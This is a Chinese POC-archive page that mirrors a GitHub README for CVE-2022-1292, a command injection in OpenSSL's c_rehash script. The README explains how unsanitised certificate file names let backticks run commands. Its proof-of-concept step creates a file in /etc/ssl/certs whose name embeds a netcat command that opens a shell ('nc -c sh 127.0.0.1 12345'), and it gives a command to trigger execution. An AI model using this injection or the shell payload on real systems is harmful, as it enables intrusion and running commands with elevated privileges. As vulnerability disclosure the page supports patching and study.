支持本站 — 捐款将帮助我们持续运营

目标: 1000 元，已筹: 1000 元

100.0%
立即捐款

POC详情: be9560ad4c326a284a93084075835f58863bb975

来源
https://github.com/alcaparra/CVE-2022-1292
关联漏洞
标题:OpenSSL 操作系统命令注入漏洞 (CVE-2022-1292)
Description:OpenSSL是Openssl团队的一个开源的能够实现安全套接层（SSLv2/v3）和安全传输层（TLSv1）协议的通用加密库。该产品支持多种加密算法，包括对称密码、哈希算法、安全散列算法等。 OpenSSL 存在操作系统命令注入漏洞，该漏洞源于c_rehash 脚本未正确清理 shell 元字符导致命令注入。攻击者利用该漏洞执行任意命令。
Description
CVE-2022-1292 OpenSSL c_rehash Vulnerability - POC
介绍
# CVE-2022-1292 POC
![POC Screenshot](https://user-images.githubusercontent.com/105424007/171022147-b7699d2b-7dd3-4b49-9e52-767e36d1d3a2.png)

## Description
```
The c_rehash script does not properly sanitise shell metacharacters to prevent command injection. 
This script is distributed by some operating systems in a manner where it is automatically executed.
On such operating systems, an attacker could execute arbitrary commands with the privileges of the script.
Use of the c_rehash script is considered obsolete and should be replaced by the OpenSSL rehash command line tool.

This script is executed by update-ca-certificates, from
ca-certificates, to re-hash certificates in /etc/ssl/certs/. An attacker able
to place files in this directory could execute arbitrary commands with the
privileges of the script.
```
Command injection ocurrs because filenames are not properly sanitized:
*  ```$fname =~ s/'/'\\''/g;```
*  ```my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in '$fname'`;```

This part of the script is vulerable, as closing the backticks allows for command execution, for example a file named: ``` MyCert.crt`whoami` ``` will run "whoami".

## POC
1. Navigate to ``/etc/ssl/certs/`` (default) or other paths configured in update-ca-certificates
2. ```echo "-----BEGIN CERTIFICATE-----" > "hey.crt\`nc -c sh 127.0.0.1 12345\`"``` *(nc as payload example)*
3. Then wait until execution of update-ca-certificates. You can trigger it manually with ``c_rehash .``

## References
* https://www.cvedetails.com/cve/CVE-2022-1292/
* https://www.debian.org/security/2022/dsa-5139
* https://lists.debian.org/debian-lts-announce/2022/05/msg00019.html
* https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=1ad73b4d27bd8c1b369a3cd453681d3a4f1bb9b2
* https://git.openssl.org/gitweb/?p=openssl.git;a=commitdiff;h=e5fd1728ef4c7a5bf7c7a7163ca60370460a6e23
* https://www.openssl.org/news/secadv/20220503.txt
文件快照

 [4.0K]  /data/pocs/be9560ad4c326a284a93084075835f58863bb975
└── [1.9K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。